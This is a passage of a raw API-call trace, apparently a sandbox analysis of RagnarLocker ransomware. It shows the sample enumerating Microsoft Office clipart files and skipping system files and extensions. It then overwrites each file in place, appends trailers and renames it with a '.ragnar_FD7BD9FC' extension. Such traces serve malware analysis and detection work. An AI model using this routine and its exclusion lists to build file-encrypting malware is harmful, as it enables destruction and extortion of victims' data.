nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0085.371] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.371] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0183174.WMF" | out: lpString1="J0183174.WMF") returned="J0183174.WMF" [0085.371] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned=".WMF" [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="autorun.inf") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="boot.ini") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="bootfont.bin") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="bootsect.bak") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="bootmgr") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="bootmgr.efi") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="bootmgfw.efi") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="desktop.ini") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="iconcache.db") returned 1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="ntldr") returned -1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="ntuser.dat") returned -1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="ntuser.dat.log") returned -1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="ntuser.ini") returned -1 [0085.371] lstrcmpiW (lpString1="J0183174.WMF", lpString2="thumbs.db") returned -1 [0085.371] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.371] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.371] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.371] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.371] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.371] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.371] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 0x20 [0085.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.372] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28626) returned 1 [0085.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6fc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.372] GetProcessHeap () returned 0x580000 [0085.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.372] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.374] VirtualAlloc (lpAddress=0x0, dwSize=0x6fd2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.374] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.374] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.374] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6fd2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6fd2, lpOverlapped=0x0) returned 1 [0085.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.375] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6fd2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.375] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6fd2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6fd2, lpOverlapped=0x0) returned 1 [0085.376] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6fd2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.376] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6fd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.376] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.376] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.376] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.376] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.376] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.376] GetProcessHeap () returned 0x580000 [0085.376] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.376] CloseHandle (hObject=0xf4) returned 1 [0085.377] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" [0085.377] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.ragnar_FD7BD9FC" [0085.377] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.380] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0085.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.380] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0183198.WMF" | out: lpString1="J0183198.WMF") returned="J0183198.WMF" [0085.380] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned=".WMF" [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="autorun.inf") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="boot.ini") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="bootfont.bin") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="bootsect.bak") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="bootmgr") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="bootmgr.efi") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="bootmgfw.efi") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="desktop.ini") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="iconcache.db") returned 1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="ntldr") returned -1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="ntuser.dat") returned -1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="ntuser.dat.log") returned -1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="ntuser.ini") returned -1 [0085.380] lstrcmpiW (lpString1="J0183198.WMF", lpString2="thumbs.db") returned -1 [0085.380] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.380] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.380] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.380] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.380] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.380] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.380] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 0x20 [0085.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.381] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24430) returned 1 [0085.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.381] GetProcessHeap () returned 0x580000 [0085.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.381] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.383] VirtualAlloc (lpAddress=0x0, dwSize=0x5f6e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.383] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5f6e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5f6e, lpOverlapped=0x0) returned 1 [0085.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.384] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5f6e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5f6e, lpOverlapped=0x0) returned 1 [0085.384] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.385] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.385] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.385] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.385] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.385] GetProcessHeap () returned 0x580000 [0085.385] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.385] CloseHandle (hObject=0xf4) returned 1 [0085.385] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" [0085.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.ragnar_FD7BD9FC" [0085.386] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.386] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0085.386] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.386] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0183574.WMF" | out: lpString1="J0183574.WMF") returned="J0183574.WMF" [0085.386] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned=".WMF" [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="autorun.inf") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="boot.ini") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="bootfont.bin") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="bootsect.bak") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="bootmgr") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="bootmgr.efi") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="bootmgfw.efi") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="desktop.ini") returned 1 [0085.386] lstrcmpiW (lpString1="J0183574.WMF", lpString2="iconcache.db") returned 1 [0085.387] lstrcmpiW (lpString1="J0183574.WMF", lpString2="ntldr") returned -1 [0085.387] lstrcmpiW (lpString1="J0183574.WMF", lpString2="ntuser.dat") returned -1 [0085.387] lstrcmpiW (lpString1="J0183574.WMF", lpString2="ntuser.dat.log") returned -1 [0085.387] lstrcmpiW (lpString1="J0183574.WMF", lpString2="ntuser.ini") returned -1 [0085.387] lstrcmpiW (lpString1="J0183574.WMF", lpString2="thumbs.db") returned -1 [0085.387] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.387] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.387] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.387] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.387] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.387] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.387] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 0x20 [0085.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.388] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19274) returned 1 [0085.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.388] GetProcessHeap () returned 0x580000 [0085.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.388] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.390] VirtualAlloc (lpAddress=0x0, dwSize=0x4b4a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.390] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b4a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b4a, lpOverlapped=0x0) returned 1 [0085.391] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.391] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b4a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.391] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b4a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b4a, lpOverlapped=0x0) returned 1 [0085.391] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b4a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.391] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.392] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.392] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.392] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.392] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.392] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.392] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.392] GetProcessHeap () returned 0x580000 [0085.392] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.392] CloseHandle (hObject=0xf4) returned 1 [0085.392] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" [0085.392] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.ragnar_FD7BD9FC" [0085.392] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.393] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0085.393] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.393] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185670.WMF" | out: lpString1="J0185670.WMF") returned="J0185670.WMF" [0085.393] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned=".WMF" [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="autorun.inf") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="boot.ini") returned 